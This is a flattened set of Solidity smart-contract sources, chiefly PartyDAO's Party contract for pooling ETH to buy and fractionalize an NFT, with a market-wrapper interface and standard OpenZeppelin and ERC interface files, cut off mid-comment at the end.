_\/\\\_____________\//\\\\\\\\/\\_\/\\\____________\//\\\\\___\//\\\\/______\/\\\\\\\\\\\\/___\/\\\_______\/\\\____\///\\\\\/_____
_\///_______________\////////\//__\///______________\/////_____\////________\////////////_____\///________\///_______\/////_______
Anna Carroll for PartyDAO
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.5;
// ============ External Imports: Inherited Contracts ============
// NOTE: we inherit from OpenZeppelin upgradeable contracts
// because of the proxy structure used for cheaper deploys
// (the proxies are NOT actually upgradeable)
import {
ReentrancyGuardUpgradeable
} from "@openzeppelin/contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol";
import {
ERC721HolderUpgradeable
} from "@openzeppelin/contracts-upgradeable/token/ERC721/utils/ERC721HolderUpgradeable.sol";
// ============ External Imports: External Contracts & Contract Interfaces ============
import {
IERC721VaultFactory
} from "./external/interfaces/IERC721VaultFactory.sol";
import {ITokenVault} from "./external/interfaces/ITokenVault.sol";
import {IWETH} from "./external/interfaces/IWETH.sol";
import {
IERC721Metadata
} from "@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol";
import {
IERC20
} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
// ============ Internal Imports ============
import {Structs} from "./Structs.sol";
contract Party is ReentrancyGuardUpgradeable, ERC721HolderUpgradeable {
// ============ Enums ============
// State Transitions:
// (1) ACTIVE on deploy
// (2) WON if the Party has won the token
// (2) LOST if the Party is over & did not win the token
enum PartyStatus {ACTIVE, WON, LOST}
// ============ Structs ============
struct Contribution {
uint256 amount;
uint256 previousTotalContributedToParty;
}
// ============ Internal Constants ============
// tokens are minted at a rate of 1 ETH : 1000 tokens
uint16 internal constant TOKEN_SCALE = 1000;
// PartyDAO receives an ETH fee equal to 2.5% of the amount spent
uint16 internal constant ETH_FEE_BASIS_POINTS = 250;
// PartyDAO receives a token fee equal to 2.5% of the total token supply
uint16 internal constant TOKEN_FEE_BASIS_POINTS = 250;
// token is relisted on Fractional with an
// initial reserve price equal to 2x the price of the token
uint8 internal constant RESALE_MULTIPLIER = 2;
// ============ Immutables ============
address public immutable partyFactory;
address public immutable partyDAOMultisig;
IERC721VaultFactory public immutable tokenVaultFactory;
IWETH public immutable weth;
// ============ Public Not-Mutated Storage ============
// NFT contract
IERC721Metadata public nftContract;
// ID of token within NFT contract
uint256 public tokenId;
// Fractionalized NFT vault responsible for post-purchase experience
ITokenVault public tokenVault;
// the address that will receive a portion of the tokens
// if the Party successfully buys the token
address public splitRecipient;
// percent of the total token supply
// taken by the splitRecipient
uint256 public splitBasisPoints;
// address of token that users need to hold to contribute
// address(0) if party is not token gated
IERC20 public gatedToken;
// amount of token that users need to hold to contribute
// 0 if party is not token gated
uint256 public gatedTokenAmount;
// ERC-20 name and symbol for fractional tokens
string public name;
string public symbol;
// ============ Public Mutable Storage ============
// state of the contract
PartyStatus public partyStatus;
// total ETH deposited by all contributors
uint256 public totalContributedToParty;
// the total spent buying the token;
// 0 if the NFT is not won; price of token + 2.5% PartyDAO fee if NFT is won
uint256 public totalSpent;
// contributor => array of Contributions
mapping(address => Contribution[]) public contributions;
// contributor => total amount contributed
mapping(address => uint256) public totalContributed;
// contributor => true if contribution has been claimed
mapping(address => bool) public claimed;
// ============ Events ============
event Contributed(
address indexed contributor,
uint256 amount,
uint256 previousTotalContributedToParty,
uint256 totalFromContributor
);
event Claimed(
address indexed contributor,
uint256 totalContributed,
uint256 excessContribution,
uint256 tokenAmount
);
// ======== Modifiers =========
modifier onlyPartyDAO() {
require(
msg.sender == partyDAOMultisig,
"Party:: only PartyDAO multisig"
);
_;
}
// ======== Constructor =========
constructor(
address _partyDAOMultisig,
address _tokenVaultFactory,
address _weth
) {
partyFactory = msg.sender;
partyDAOMultisig = _partyDAOMultisig;
tokenVaultFactory = IERC721VaultFactory(_tokenVaultFactory);
weth = IWETH(_weth);
}
// ======== Internal: Initialize =========
function __Party_init(
address _nftContract,
uint256 _tokenId,
Structs.AddressAndAmount calldata _split,
Structs.AddressAndAmount calldata _tokenGate,
string memory _name,
string memory _symbol
) internal {
require(msg.sender == partyFactory, "Party::__Party_init: only factory can init");
// validate token exists (must set nftContract & tokenId before _getOwner)
nftContract = IERC721Metadata(_nftContract);
tokenId = _tokenId;
require(_getOwner() != address(0), "Party::__Party_init: NFT getOwner failed");
// if split is non-zero,
if (_split.addr != address(0) && _split.amount != 0) {
// validate that party split won't retain the total token supply
uint256 _remainingBasisPoints = 10000 - TOKEN_FEE_BASIS_POINTS;
require(_split.amount < _remainingBasisPoints, "Party::__Party_init: basis points can't take 100%");
splitBasisPoints = _split.amount;
splitRecipient = _split.addr;
}
// if token gating is non-zero
if (_tokenGate.addr != address(0) && _tokenGate.amount != 0) {
// call totalSupply to verify that address is ERC-20 token contract
IERC20(_tokenGate.addr).totalSupply();
gatedToken = IERC20(_tokenGate.addr);
gatedTokenAmount = _tokenGate.amount;
}
// initialize ReentrancyGuard and ERC721Holder
__ReentrancyGuard_init();
__ERC721Holder_init();
// set storage variables
name = _name;
symbol = _symbol;
}
// ======== Internal: Contribute =========
/**
* @notice Contribute to the Party's treasury
* while the Party is still active
* @dev Emits a Contributed event upon success; callable by anyone
*/
function _contribute() internal {
require(
partyStatus == PartyStatus.ACTIVE,
"Party::contribute: party not active"
);
address _contributor = msg.sender;
uint256 _amount = msg.value;
// if token gated, require that contributor has balance of gated tokens
if (address(gatedToken) != address(0)) {
require(gatedToken.balanceOf(_contributor) >= gatedTokenAmount, "Party::contribute: must hold tokens to contribute");
}
require(_amount > 0, "Party::contribute: must contribute more than 0");
// get the current contract balance
uint256 _previousTotalContributedToParty = totalContributedToParty;
// add contribution to contributor's array of contributions
Contribution memory _contribution =
Contribution({
amount: _amount,
previousTotalContributedToParty: _previousTotalContributedToParty
});
contributions[_contributor].push(_contribution);
// add to contributor's total contribution
totalContributed[_contributor] = totalContributed[_contributor] + _amount;
// add to party's total contribution & emit event
totalContributedToParty = _previousTotalContributedToParty + _amount;
emit Contributed(
_contributor,
_amount,
_previousTotalContributedToParty,
totalContributed[_contributor]
);
}
// ======== External: Claim =========
/**
* @notice Claim the tokens and excess ETH owed
* to a single contributor after the party has ended
* @dev Emits a Claimed event upon success
* callable by anyone (doesn't have to be the contributor)
* @param _contributor the address of the contributor
*/
function claim(address _contributor) external nonReentrant {
// ensure party has finalized
require(
partyStatus != PartyStatus.ACTIVE,
"Party::claim: party not finalized"
);
// ensure contributor submitted some ETH
require(
totalContributed[_contributor] != 0,
"Party::claim: not a contributor"
);
// ensure the contributor hasn't already claimed
require(
!claimed[_contributor],
"Party::claim: contribution already claimed"
);
// mark the contribution as claimed
claimed[_contributor] = true;
// calculate the amount of fractional NFT tokens owed to the user
// based on how much ETH they contributed towards the party,
// and the amount of excess ETH owed to the user
(uint256 _tokenAmount, uint256 _ethAmount) =
getClaimAmounts(_contributor);
// transfer tokens to contributor for their portion of ETH used
_transferTokens(_contributor, _tokenAmount);
// if there is excess ETH, send it back to the contributor
_transferETHOrWETH(_contributor, _ethAmount);
emit Claimed(
_contributor,
totalContributed[_contributor],
_ethAmount,
_tokenAmount
);
}
// ======== External: Emergency Escape Hatches (PartyDAO Multisig Only) =========
/**
* @notice Escape hatch: in case of emergency,
* PartyDAO can use emergencyWithdrawEth to withdraw
* ETH stuck in the contract
*/
function emergencyWithdrawEth(uint256 _value)
external
onlyPartyDAO
{
_transferETHOrWETH(partyDAOMultisig, _value);
}
/**
* @notice Escape hatch: in case of emergency,
* PartyDAO can use emergencyCall to call an external contract
* (e.g. to withdraw a stuck NFT or stuck ERC-20s)
*/
function emergencyCall(address _contract, bytes memory _calldata)
external
onlyPartyDAO
returns (bool _success, bytes memory _returnData)
{
(_success, _returnData) = _contract.call(_calldata);
require(_success, string(_returnData));
}
/**
* @notice Escape hatch: in case of emergency,
* PartyDAO can force the Party to finalize with status LOST
* (e.g. if finalize is not callable)
*/
function emergencyForceLost()
external
onlyPartyDAO
{
// set partyStatus to LOST
partyStatus = PartyStatus.LOST;
}
// ======== Public: Utility Calculations =========
/**
* @notice Convert ETH value to equivalent token amount
*/
function valueToTokens(uint256 _value)
public
pure
returns (uint256 _tokens)
{
_tokens = _value * TOKEN_SCALE;
}
/**
* @notice The maximum amount that can be spent by the Party
* while paying the ETH fee to PartyDAO
* @return _maxSpend the maximum spend
*/
function getMaximumSpend() public view returns (uint256 _maxSpend) {
_maxSpend = (totalContributedToParty * 10000) / (10000 + ETH_FEE_BASIS_POINTS);
}
/**
* @notice Calculate the amount of fractional NFT tokens owed to the contributor
* based on how much ETH they contributed towards buying the token,
* and the amount of excess ETH owed to the contributor
* based on how much ETH they contributed *not* used towards buying the token
* @param _contributor the address of the contributor
* @return _tokenAmount the amount of fractional NFT tokens owed to the contributor
* @return _ethAmount the amount of excess ETH owed to the contributor
*/
function getClaimAmounts(address _contributor)
public
view
returns (uint256 _tokenAmount, uint256 _ethAmount)
{
require(partyStatus != PartyStatus.ACTIVE, "Party::getClaimAmounts: party still active; amounts undetermined");
uint256 _totalContributed = totalContributed[_contributor];
if (partyStatus == PartyStatus.WON) {
// calculate the amount of this contributor's ETH
// that was used to buy the token
uint256 _totalEthUsed = totalEthUsed(_contributor);
if (_totalEthUsed > 0) {
_tokenAmount = valueToTokens(_totalEthUsed);
}
// the rest of the contributor's ETH should be returned
_ethAmount = _totalContributed - _totalEthUsed;
} else {
// if the token wasn't bought, no ETH was spent;
// all of the contributor's ETH should be returned
_ethAmount = _totalContributed;
}
}
/**
* @notice Calculate the total amount of a contributor's funds
* that were used towards the buying the token
* @dev always returns 0 until the party has been finalized
* @param _contributor the address of the contributor
* @return _total the sum of the contributor's funds that were
* used towards buying the token
*/
function totalEthUsed(address _contributor)
public
view
returns (uint256 _total)
{
require(partyStatus != PartyStatus.ACTIVE, "Party::totalEthUsed: party still active; amounts undetermined");
// load total amount spent once from storage
uint256 _totalSpent = totalSpent;
// get all of the contributor's contributions
Contribution[] memory _contributions = contributions[_contributor];
for (uint256 i = 0; i < _contributions.length; i++) {
// calculate how much was used from this individual contribution
uint256 _amount = _ethUsed(_totalSpent, _contributions[i]);
// if we reach a contribution that was not used,
// no subsequent contributions will have been used either,
// so we can stop calculating to save some gas
if (_amount == 0) break;
_total = _total + _amount;
}
}
// ============ Internal ============
function _closeSuccessfulParty(uint256 _nftCost) internal returns (uint256 _ethFee) {
// calculate PartyDAO fee & record total spent
_ethFee = _getEthFee(_nftCost);
totalSpent = _nftCost + _ethFee;
// transfer ETH fee to PartyDAO
_transferETHOrWETH(partyDAOMultisig, _ethFee);
// deploy fractionalized NFT vault
// and mint fractional ERC-20 tokens
_fractionalizeNFT(_nftCost);
}
/**
* @notice Calculate ETH fee for PartyDAO
* NOTE: Remove this fee causes a critical vulnerability
* allowing anyone to exploit a Party via price manipulation.
* See Security Review in README for more info.
* @return _fee the portion of _amount represented by scaling to ETH_FEE_BASIS_POINTS
*/
function _getEthFee(uint256 _amount) internal pure returns (uint256 _fee) {
_fee = (_amount * ETH_FEE_BASIS_POINTS) / 10000;
}
/**
* @notice Calculate token amount for specified token recipient
* @return _totalSupply the total token supply
* @return _partyDAOAmount the amount of tokens for partyDAO fee,
* which is equivalent to TOKEN_FEE_BASIS_POINTS of total supply
* @return _splitRecipientAmount the amount of tokens for the token recipient,
* which is equivalent to splitBasisPoints of total supply
*/
function _getTokenInflationAmounts(uint256 _amountSpent)
internal
view
returns (uint256 _totalSupply, uint256 _partyDAOAmount, uint256 _splitRecipientAmount)
{
// the token supply will be inflated to provide a portion of the
// total supply for PartyDAO, and a portion for the splitRecipient
uint256 inflationBasisPoints = TOKEN_FEE_BASIS_POINTS + splitBasisPoints;
_totalSupply = valueToTokens((_amountSpent * 10000) / (10000 - inflationBasisPoints));
// PartyDAO receives TOKEN_FEE_BASIS_POINTS of the total supply
_partyDAOAmount = (_totalSupply * TOKEN_FEE_BASIS_POINTS) / 10000;
// splitRecipient receives splitBasisPoints of the total supply
_splitRecipientAmount = (_totalSupply * splitBasisPoints) / 10000;
}
/**
* @notice Query the NFT contract to get the token owner
* @dev nftContract must implement the ERC-721 token standard exactly:
* function ownerOf(uint256 _tokenId) external view returns (address);
* See https://eips.ethereum.org/EIPS/eip-721
* @dev Returns address(0) if NFT token or NFT contract
* no longer exists (token burned or contract self-destructed)
* @return _owner the owner of the NFT
*/
function _getOwner() internal view returns (address _owner) {
(bool _success, bytes memory _returnData) =
address(nftContract).staticcall(
abi.encodeWithSignature(
"ownerOf(uint256)",
tokenId
)
);
if (_success && _returnData.length > 0) {
_owner = abi.decode(_returnData, (address));
}
}
/**
* @notice Upon winning the token, transfer the NFT
* to fractional.art vault & mint fractional ERC-20 tokens
*/
function _fractionalizeNFT(uint256 _amountSpent) internal {
// approve fractionalized NFT Factory to withdraw NFT
nftContract.approve(address(tokenVaultFactory), tokenId);
// Party "votes" for a reserve price on Fractional
// equal to 2x the price of the token
uint256 _listPrice = RESALE_MULTIPLIER * _amountSpent;
// users receive tokens at a rate of 1:TOKEN_SCALE for each ETH they contributed that was ultimately spent
// partyDAO receives a percentage of the total token supply equivalent to TOKEN_FEE_BASIS_POINTS
// splitRecipient receives a percentage of the total token supply equivalent to splitBasisPoints
(uint256 _tokenSupply, uint256 _partyDAOAmount, uint256 _splitRecipientAmount) = _getTokenInflationAmounts(totalSpent);
// deploy fractionalized NFT vault
uint256 vaultNumber =
tokenVaultFactory.mint(
name,
symbol,
address(nftContract),
tokenId,
_tokenSupply,
_listPrice,
0
);
// store token vault address to storage
tokenVault = ITokenVault(tokenVaultFactory.vaults(vaultNumber));
// transfer curator to null address (burn the curator role)
tokenVault.updateCurator(address(0));
// transfer tokens to PartyDAO multisig
_transferTokens(partyDAOMultisig, _partyDAOAmount);
// transfer tokens to token recipient
if (splitRecipient != address(0)) {
_transferTokens(splitRecipient, _splitRecipientAmount);
}
}
// ============ Internal: Claim ============
/**
* @notice Calculate the amount of a single Contribution
* that was used towards buying the token
* @param _contribution the Contribution struct
* @return the amount of funds from this contribution
* that were used towards buying the token
*/
function _ethUsed(uint256 _totalSpent, Contribution memory _contribution)
internal
pure
returns (uint256)
{
if (
_contribution.previousTotalContributedToParty +
_contribution.amount <=
_totalSpent
) {
// contribution was fully used
return _contribution.amount;
} else if (
_contribution.previousTotalContributedToParty < _totalSpent
) {
// contribution was partially used
return _totalSpent - _contribution.previousTotalContributedToParty;
}
// contribution was not used
return 0;
}
// ============ Internal: TransferTokens ============
/**
* @notice Transfer tokens to a recipient
* @param _to recipient of tokens
* @param _value amount of tokens
*/
function _transferTokens(address _to, uint256 _value) internal {
// skip if attempting to send 0 tokens
if (_value == 0) {
return;
}
// guard against rounding errors;
// if token amount to send is greater than contract balance,
// send full contract balance
uint256 _partyBalance = tokenVault.balanceOf(address(this));
if (_value > _partyBalance) {
_value = _partyBalance;
}
tokenVault.transfer(_to, _value);
}
// ============ Internal: TransferEthOrWeth ============
/**
* @notice Attempt to transfer ETH to a recipient;
* if transferring ETH fails, transfer WETH insteads
* @param _to recipient of ETH or WETH
* @param _value amount of ETH or WETH
*/
function _transferETHOrWETH(address _to, uint256 _value) internal {
// skip if attempting to send 0 ETH
if (_value == 0) {
return;
}
// guard against rounding errors;
// if ETH amount to send is greater than contract balance,
// send full contract balance
if (_value > address(this).balance) {
_value = address(this).balance;
}
// Try to transfer ETH to the given recipient.
if (!_attemptETHTransfer(_to, _value)) {
// If the transfer fails, wrap and send as WETH
weth.deposit{value: _value}();
weth.transfer(_to, _value);
// At this point, the recipient can unwrap WETH.
}
}
/**
* @notice Attempt to transfer ETH to a recipient
* @dev Sending ETH is not guaranteed to succeed
* this method will return false if it fails.
* We will limit the gas used in transfers, and handle failure cases.
* @param _to recipient of ETH
* @param _value amount of ETH
*/
function _attemptETHTransfer(address _to, uint256 _value)
internal
returns (bool)
{
// Here increase the gas limit a reasonable amount above the default, and try
// to send ETH to the recipient.
// NOTE: This might allow the recipient to attempt a limited reentrancy attack.
(bool success, ) = _to.call{value: _value, gas: 30000}("");
return success;
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.5;
/**
* @title IMarketWrapper
* @author Anna Carroll
* @notice IMarketWrapper provides a common interface for
* interacting with NFT auction markets.
* Contracts can abstract their interactions with
* different NFT markets using IMarketWrapper.
* NFT markets can become compatible with any contract
* using IMarketWrapper by deploying a MarketWrapper contract
* that implements this interface using the logic of their Market.
*
* WARNING: MarketWrapper contracts should NEVER write to storage!
* When implementing a MarketWrapper, exercise caution; a poorly implemented
* MarketWrapper contract could permanently lose access to the NFT or user funds.
*/
interface IMarketWrapper {
/**
* @notice Given the auctionId, nftContract, and tokenId, check that:
* 1. the auction ID matches the token
* referred to by tokenId + nftContract
* 2. the auctionId refers to an *ACTIVE* auction
* (e.g. an auction that will accept bids)
* within this market contract
* 3. any additional validation to ensure that
* a PartyBid can bid on this auction
* (ex: if the market allows arbitrary bidding currencies,
* check that the auction currency is ETH)
* Note: This function probably should have been named "isValidAuction"
* @dev Called in PartyBid.sol in `initialize` at line 174
* @return TRUE if the auction is valid
*/
function auctionIdMatchesToken(
uint256 auctionId,
address nftContract,
uint256 tokenId
) external view returns (bool);
/**
* @notice Calculate the minimum next bid for this auction.
* PartyBid contracts always submit the minimum possible
* bid that will be accepted by the Market contract.
* usually, this is either the reserve price (if there are no bids)
* or a certain percentage increase above the current highest bid
* @dev Called in PartyBid.sol in `bid` at line 251
* @return minimum bid amount
*/
function getMinimumBid(uint256 auctionId) external view returns (uint256);
/**
* @notice Query the current highest bidder for this auction
* It is assumed that there is always 1 winning highest bidder for an auction
* This is used to ensure that PartyBid cannot outbid itself if it is already winning
* @dev Called in PartyBid.sol in `bid` at line 241
* @return highest bidder
*/
function getCurrentHighestBidder(uint256 auctionId)
external
view
returns (address);
/**
* @notice Submit bid to Market contract
* @dev Called in PartyBid.sol in `bid` at line 259
*/
function bid(uint256 auctionId, uint256 bidAmount) external;
/**
* @notice Determine whether the auction has been finalized
* Used to check if it is still possible to bid
* And to determine whether the PartyBid should finalize the auction
* @dev Called in PartyBid.sol in `bid` at line 247
* @dev and in `finalize` at line 288
* @return TRUE if the auction has been finalized
*/
function isFinalized(uint256 auctionId) external view returns (bool);
/**
* @notice Finalize the results of the auction
* on the Market contract
* It is assumed that this operation is performed once for each auction,
* that after it is done the auction is over and the NFT has been
* transferred to the auction winner.
* @dev Called in PartyBid.sol in `finalize` at line 289
*/
function finalize(uint256 auctionId) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../proxy/utils/Initializable.sol";
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuardUpgradeable is Initializable {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
function __ReentrancyGuard_init() internal initializer {
__ReentrancyGuard_init_unchained();
}
function __ReentrancyGuard_init_unchained() internal initializer {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC721ReceiverUpgradeable.sol";
import "../../../proxy/utils/Initializable.sol";
/**
* @dev Implementation of the {IERC721Receiver} interface.
*
* Accepts all token transfers.
* Make sure the contract is able to use its token with {IERC721-safeTransferFrom}, {IERC721-approve} or {IERC721-setApprovalForAll}.
*/
contract ERC721HolderUpgradeable is Initializable, IERC721ReceiverUpgradeable {
function __ERC721Holder_init() internal initializer {
__ERC721Holder_init_unchained();
}
function __ERC721Holder_init_unchained() internal initializer {
}
/**
* @dev See {IERC721Receiver-onERC721Received}.
*
* Always returns `IERC721Receiver.onERC721Received.selector`.
*/
function onERC721Received(address, address, uint256, bytes memory) public virtual override returns (bytes4) {
return this.onERC721Received.selector;
}
uint256[50] private __gap;
}
//SPDX-License-Identifier: MIT
pragma solidity 0.8.5;
interface IERC721VaultFactory {
/// @notice the mapping of vault number to vault address
function vaults(uint256) external returns (address);
/// @notice the function to mint a new vault
/// @param _name the desired name of the vault
/// @param _symbol the desired sumbol of the vault
/// @param _token the ERC721 token address fo the NFT
/// @param _id the uint256 ID of the token
/// @param _listPrice the initial price of the NFT
/// @return the ID of the vault
function mint(string memory _name, string memory _symbol, address _token, uint256 _id, uint256 _supply, uint256 _listPrice, uint256 _fee) external returns(uint256);
}
//SPDX-License-Identifier: MIT
pragma solidity 0.8.5;
interface ITokenVault {
/// @notice allow curator to update the curator address
/// @param _curator the new curator
function updateCurator(address _curator) external;
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) external view returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.5;
interface IWETH {
function deposit() external payable;
function transfer(address to, uint256 value) external returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
// solhint-disable-next-line compiler-version
pragma solidity ^0.8.0;
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721ReceiverUpgradeable {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
